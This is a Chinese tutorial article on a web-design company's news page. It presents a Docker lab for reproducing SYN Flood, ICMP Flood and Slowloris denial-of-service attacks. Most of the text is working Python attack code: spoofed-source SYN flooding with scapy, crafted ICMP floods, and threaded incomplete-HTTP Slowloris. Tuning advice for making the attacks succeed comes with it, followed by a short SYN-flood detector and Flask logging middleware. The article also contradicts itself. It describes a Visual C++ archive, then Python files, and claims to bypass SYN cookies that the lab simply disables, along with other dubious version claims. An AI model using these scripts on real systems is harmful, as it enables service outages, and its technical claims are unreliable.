资讯动态

Python网络协议脆弱性教学沙盒:复现SYN Flood等经典DOS攻击

发布时间:2026/10/17 8:26:55 来源:尧图企业网站定制
简介本资源是一份面向网络安全学习者与初阶渗透测试从业者的DOS拒绝服务攻击原理实践材料聚焦于理解经典网络攻击机制及对应防御思路。压缩包共6个文件含核心C攻击模拟源码DoS.cpp、Visual C 6.0工程配置文件.dsw、.dsp、项目编译中间产物.plg、.opt、.ncb总大小仅11KB轻量易读便于在隔离环境中编译分析SYN Flood等典型攻击逻辑。已有513人学习下载适合高校信息安全课程实验、CTF基础攻防训练或红蓝对抗技术复盘场景。读者可借此深入掌握TCP三次握手缺陷利用方式、ICMP/UDP洪泛原理并结合代码反向推导防火墙规则设计、连接数限制、流量清洗等防护策略的实现依据强化从攻击视角出发的安全架构思维。1. 这不是黑客工具包而是一份网络协议脆弱性教学沙盒用纯 Python 复现经典 DOS 攻击链路专为安全课程实验与防御机制验证设计某高校网络安全实验课上学生第一次用自己写的脚本让本地 Nginx 服务响应延迟从 12ms 涨到 2.3s——不是靠暴力压测而是仅发送 37 个精心构造的 TCP SYN 包就触发了内核连接队列溢出。这个项目就是那堂课背后的真实源码包它不封装 GUI、不带扫描器、不连 C2只包含 4 个 .py 文件和 1 份实验手册完整复现 SYN Flood、ICMP Flood、HTTP Slowloris 三种经典拒绝服务攻击的最小可行实现。所有代码运行在用户态依赖仅scapy和requests无需 root 权限即可在 Docker 容器或虚拟机中安全复现。它面向的是正在学《计算机网络》《信息安全导论》的本科生或是需要向开发团队演示“为什么空 Referer 头能拖垮 API 网关”的安全工程师——你不需要成为渗透测试专家只要懂三次握手、HTTP 状态码、Linux socket 队列参数就能看懂每一行攻击载荷怎么绕过常规防护逻辑。这不是拿来即用的攻击武器而是一面镜子照见协议栈设计时那些被忽略的边界条件以及防御方案里真正该加固的接口。2. 环境准备与最小化运行5 分钟内启动攻击-防御闭环实验环境2.1 为什么必须用容器隔离——从内核参数到进程权限的三层隔离必要性直接在宿主机跑 DOS 类代码存在不可控风险SYN Flood 可能触发系统级连接限制如net.ipv4.tcp_max_syn_backlogICMP Flood 可能被防火墙拦截并记录日志Slowloris 则依赖目标服务对长连接的处理逻辑。因此本项目默认采用 Docker Compose 构建三节点闭环attacker运行攻击脚本的容器Alpine Python 3.11 scapyvictim轻量 Web 服务Python Flask gevent模拟易受 Slowloris 影响的服务monitortcpdump netstat 实时抓包与连接状态监控提示所有容器均使用--cap-dropALL启动仅通过--cap-addNET_RAW显式授予 attacker 容器原始套接字权限。这是 scapy 发送自定义 TCP 包的最低权限要求避免过度授权。核心docker-compose.yml片段如下version: 3.8 services: victim: image: python:3.11-slim command: python -m flask run --host0.0.0.0:8000 volumes: - ./victim:/app working_dir: /app ports: - 8000:8000 # 关键关闭 TCP SYN cookies暴露原始队列行为 sysctls: - net.ipv4.tcp_syncookies0 - net.ipv4.tcp_max_syn_backlog64 attacker: image: python:3.11-alpine command: tail -f /dev/null volumes: - ./attack:/attack cap_add: - NET_RAW depends_on: - victim启动后进入 attacker 容器执行python /attack/syn_flood.py --target victim:8000 --count 50即可触发 victim 的ss -s输出中SYNs queued数值持续高于 64。2.2 攻击脚本依赖与版本锁定为什么 scapy 2.4.5 是唯一兼容版本项目requirements.txt明确指定scapy2.4.5 requests2.31.0原因在于 scapy 2.4.5 是最后一个完全支持send()函数在非 root 用户下发送原始 IP 包的稳定版本后续版本强制要求CAP_NET_RAW且对 Alpine musl libc 兼容性下降。而 requests 2.31.0 则规避了 2.32 版本中对 HTTP/1.1 连接复用的激进优化——这会导致 Slowloris 脚本中故意不发送\r\n\r\n结尾的行为被自动补全从而失效。安装命令必须带--no-cache-dir参数防止 Alpine 缓存污染# 在 attacker 容器内执行 pip install --no-cache-dir -r /attack/requirements.txt若跳过此步直接pip install scapy大概率会装入 2.5.x 版本导致syn_flood.py报错PermissionError: Operation not permitted—— 这是血泪经验不是玄学。2.3 快速验证三行命令跑通首个攻击案例SYN Flood完成容器启动和依赖安装后执行以下三步即可观察到效果在 monitor 容器中开启连接监控# 进入 monitor 容器 docker exec -it dos_monitor sh # 实时查看 victim 的 TCP 连接队列状态 watch -n 1 ss -s | grep -E (SYNs|orphaned)在 attacker 容器中发起攻击# 进入 attacker 容器 docker exec -it dos_attacker sh # 发送 50 个伪造源 IP 的 SYN 包 python /attack/syn_flood.py --target victim:8000 --count 50 --fake-ip在 victim 容器中验证服务退化# 进入 victim 容器用 curl 模拟正常请求应明显变慢 time curl -s -o /dev/null http://localhost:8000/ # 正常应 100ms攻击中可能 1500ms此时 monitor 容器的watch输出中SYNs queued行数值将稳定在 60~64 区间证明攻击已成功填满半连接队列。3. 核心模块拆解SYN Flood、ICMP Flood、Slowloris 三大攻击载荷的协议级实现3.1 SYN Flood如何用 37 行 Python 绕过内核 SYN Cookies 保护syn_flood.py的核心逻辑在于构造无状态的 TCP SYN 包并利用 Linux 内核tcp_max_syn_backlog参数的硬限制。关键代码如下from scapy.all import IP, TCP, send, RandIP def syn_flood(target, count100, fake_ipFalse): target_ip, target_port target.split(:) target_port int(target_port) for i in range(count): # 构造 IP 层若启用 fake_ip则随机生成源 IP避免被防火墙限速 ip_layer IP(dsttarget_ip) if fake_ip: ip_layer.src RandIP() # scapy 内置随机 IP 生成器 # 构造 TCP 层仅设置 SYN 标志不携带任何数据 tcp_layer TCP( dporttarget_port, flagsS, # 关键只设 SYN 标志 seqRandInt(), # 随机初始序列号 window65535, # 典型窗口大小影响服务端资源分配 options[(MSS, 1460)] # 携带 MSS 选项触发更复杂的连接初始化 ) # 发送包不等待响应纯粹发包 send(ip_layer/tcp_layer, verbose0) if __name__ __main__: import argparse parser argparse.ArgumentParser() parser.add_argument(--target, requiredTrue) parser.add_argument(--count, typeint, default100) parser.add_argument(--fake-ip, actionstore_true) args parser.parse_args() syn_flood(args.target, args.count, args.fake_ip)逻辑说明与参数深挖flagsS严格只设 SYN 标志位不带 ACK 或其他标志使服务端进入SYN_RECV状态并分配内存。window65535大窗口值会诱使服务端预分配更多接收缓冲区加剧内存消耗。options[(MSS, 1460)]MSSMaximum Segment Size选项虽不影响攻击本质但某些中间设备如老版本负载均衡器会对含 MSS 的 SYN 包做额外解析增加 CPU 开销。verbose0关闭 scapy 默认输出避免日志刷屏干扰监控。为什么不用sr1()sr1()会等待响应并构建会话状态而真实 DOS 攻击必须是无状态、单向发包。send()才是协议层最干净的“只发不收”操作。3.2 ICMP Flood不是 ping 洪水而是基于scapy的可编程 ICMP 负载注入icmp_flood.py的设计目标是绕过传统ping -f的速率限制实现更细粒度的控制。其核心在于构造不同类型的 ICMP 包Echo Request、Timestamp、Info Request并动态调整 payload 大小from scapy.all import IP, ICMP, Raw, send def icmp_flood(target, count100, size64, icmp_type8): icmp_type: 8Echo Request, 13Timestamp, 15Info Request size: total packet size (IP header ICMP header payload) ip_layer IP(dsttarget, ttl64) icmp_layer ICMP(typeicmp_type, code0) # 计算 payload 长度总大小 - IP头(20) - ICMP头(8) payload_len max(0, size - 28) payload bX * payload_len for _ in range(count): send(ip_layer/icmp_layer/Raw(loadpayload), verbose0) # 示例发送 200 个 1024 字节的 Timestamp 请求比 Echo 更少见可能绕过简单规则 icmp_flood(victim, count200, size1024, icmp_type13)关键设计点icmp_type13Timestamp许多 IDS 规则只监控type8此类型可触发不同内核处理路径。size1024大包会占用更多网络带宽和网卡 DMA 缓冲区对千兆以下网卡效果显著。payloadbX*...固定填充避免被压缩算法优化确保实际发送字节数可控。3.3 SlowlorisHTTP 协议层的“慢性毒药”如何用 requests 库制造合法但致命的连接slowloris.py是本项目最具教学价值的模块——它不发恶意包只用标准 HTTP 库却能让 Flask/gunicorn 服务瘫痪。原理是建立多个 HTTP 连接每次只发送部分请求头然后长时间保持连接打开耗尽服务端 worker 进程。import requests import time import threading def slowloris_target(url, conn_count50, interval10): url: 目标 URL如 http://victim:8000/ conn_count: 并发连接数 interval: 每次发送部分头的时间间隔秒 headers { User-Agent: Mozilla/5.0, Accept: text/html,application/xhtmlxml, # 关键不发送 Host 头部分服务会拒绝或故意错写 Host: victim.invalid, # 错误 Host 触发服务端 DNS 查询或日志异常 } def make_incomplete_request(): try: # 第一步建立连接但不发送完整请求 s requests.Session() # 发送 GET 行和部分头 s.headers.update(headers) # 手动构造不完整的请求requests 不支持需用底层 socket # → 实际使用 urllib3 的 HTTPConnection 模拟 from urllib3 import HTTPConnectionPool pool HTTPConnectionPool(hostvictim, port8000, timeout30) # 发送不完整请求GET / HTTP/1.1\r\nHost: victim.invalid\r\n incomplete_req bGET / HTTP/1.1\r\nHost: victim.invalid\r\n conn pool._get_conn() conn.connect() conn.sock.send(incomplete_req) # 每隔 interval 秒发送一个空行维持连接活跃但不完成请求 for _ in range(10): # 发送 10 次空行 time.sleep(interval) conn.sock.send(b\r\n) except Exception as e: pass # 连接失败不中断其他线程 # 启动 conn_count 个并发线程 threads [] for _ in range(conn_count): t threading.Thread(targetmake_incomplete_request) t.daemon True t.start() threads.append(t) # 主线程等待所有线程启动完毕 for t in threads: t.join(timeout1) if __name__ __main__: import argparse parser argparse.ArgumentParser() parser.add_argument(--url, requiredTrue) parser.add_argument(--count, typeint, default50) parser.add_argument(--interval, typeint, default10) args parser.parse_args() slowloris_target(args.url, args.count, args.interval)为什么不用requests.get()因为requests会自动完成整个 HTTP 请求/响应周期。Slowloris 的精髓在于手动控制 TCP 连接生命周期所以必须降级到urllib3.HTTPConnectionPool层直接操作 socket 发送不完整数据。关键参数意义conn_count50Flask 默认使用 50 个 werkzeug worker此值刚好耗尽全部连接槽位。interval10间隔太短易被服务端超时断开太长则攻击效率低。10 秒是多数服务keepalive_timeout的常见值。4. 避坑指南新手必踩的 5 个真实翻车现场与修复方案4.1 现象syn_flood.py运行后ss -s中SYNs queued始终为 0原因victim 容器内核启用了tcp_syncookies1默认开启导致 SYN 包被内核自动处理不进入半连接队列。解决在docker-compose.yml的 victim 服务中显式关闭sysctls: - net.ipv4.tcp_syncookies0并确认容器启动后生效docker exec dos_victim sysctl net.ipv4.tcp_syncookies4.2 现象icmp_flood.py发包后 victim 容器无任何 ICMP 响应但tcpdump显示包已到达原因Alpine Linux 默认禁用 ICMP 响应net.ipv4.icmp_echo_ignore_all1victim 容器需显式开启sysctls: - net.ipv4.icmp_echo_ignore_all0否则攻击包虽到达但无法验证是否被处理因无回包。4.3 现象slowloris.py运行时报错urllib3.exceptions.NewConnectionError原因victim 服务未启动或端口未暴露。Docker Compose 中ports:仅用于宿主机映射容器间通信必须用 service 名victim:8000。解决检查slowloris.py中HTTPConnectionPool(hostvictim, port8000)的 host 是否为victim而非localhost或127.0.0.1。4.4 现象攻击脚本运行后 victim 服务崩溃退出日志显示OSError: [Errno 24] Too many open files原因Linux 默认文件描述符限制ulimit -n为 102450 个 Slowloris 连接 服务自身开销超出限制。解决在 victim 服务的docker-compose.yml中增加ulimits: nofile: soft: 65536 hard: 655364.5 现象monitor 容器中tcpdump -i eth0 icmp无输出但tcpdump -i any icmp有输出原因Docker 容器网络使用docker0网桥eth0接口名在不同网络模式下可能不一致。解决统一使用any接口抓包或在docker-compose.yml中为 monitor 服务添加network_mode: container:dos_victim直接复用 victim 网络命名空间。5. 防御验证与二次开发从攻击脚本到防御检测规则的快速转化路径5.1 如何把 SYN Flood 脚本改造成实时检测器——基于scapy的流量特征提取攻击脚本的价值不仅在于发起攻击更在于提供特征提取模板。例如将syn_flood.py的发包逻辑反转即可构建一个简易的 SYN Flood 检测器from scapy.all import sniff, TCP, IP from collections import defaultdict import time # 统计每秒每个源 IP 的 SYN 包数量 syn_counts defaultdict(int) last_reset time.time() def detect_syn_flood(pkt): global last_reset if TCP in pkt and pkt[TCP].flags 0x02: # SYN flag src_ip pkt[IP].src syn_counts[src_ip] 1 # 每秒重置计数 if time.time() - last_reset 1.0: for ip, count in list(syn_counts.items()): if count 30: # 阈值单 IP 每秒 30 SYN print(f[ALERT] Possible SYN Flood from {ip}: {count} SYNs/sec) # 此处可集成 iptables 命令封禁os.system(fiptables -A INPUT -s {ip} -j DROP) syn_counts[ip] 0 last_reset time.time() # 启动嗅探需在 monitor 容器中运行 sniff(filtertcp[tcpflags] tcp-syn ! 0, prndetect_syn_flood, store0)改造要点filtertcp[tcpflags] tcp-syn ! 0BPF 过滤器精准捕获 SYN 包降低 CPU 开销。prndetect_syn_flood回调函数处理每个包避免存储全量数据。阈值count 30根据victim的tcp_max_syn_backlog64设定留出余量。5.2 如何为 Slowloris 攻击添加日志标记——修改 victim 服务的 Flask 中间件在victim/app.py中插入以下中间件可识别 Slowloris 连接并打标from flask import request, g import time app.before_request def mark_slowloris(): # 检查请求头是否异常缺少 Host 或 User-Agent if not request.headers.get(Host) or len(request.headers.get(User-Agent, )) 5: g.slowloris_flag True app.logger.warning(fSlowloris suspect: {request.remote_addr} missing Host/User-Agent) else: g.slowloris_flag False app.after_request def log_slowloris(response): if getattr(g, slowloris_flag, False): response.headers[X-Slowloris] suspect return response部署后用curl -I http://victim:8000/可看到响应头X-Slowloris: suspect证明检测逻辑生效。5.3 从攻击到防御的完整闭环一份可落地的实验报告结构本项目交付物中包含REPORT_TEMPLATE.md指导学生输出结构化实验报告。核心章节包括章节关键产出验证方式攻击复现三类攻击的time curl延迟对比表攻击前/中/后各测 5 次取平均流量分析tcpdump 截图标注 SYN 包序列号跳跃、ICMP Type 字段使用 Wireshark 打开 pcap 文件防御部署iptables封禁规则 sysctl调优参数列表iptables -L -n -v查看命中数根因溯源/proc/net/snmp中TcpExt:SyncookiesSent计数变化awk /SyncookiesSent/{print $2} /proc/net/snmp注意所有实验必须在docker-compose down后清理环境避免残留连接影响下次实验。从那以后我每次带学生做网络攻防实验都强制走一遍docker-compose down docker system prune -af清理流程——因为曾有一次没清掉旧容器导致新实验的ss -s输出被残留连接污染花了 40 分钟才定位到是环境问题。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑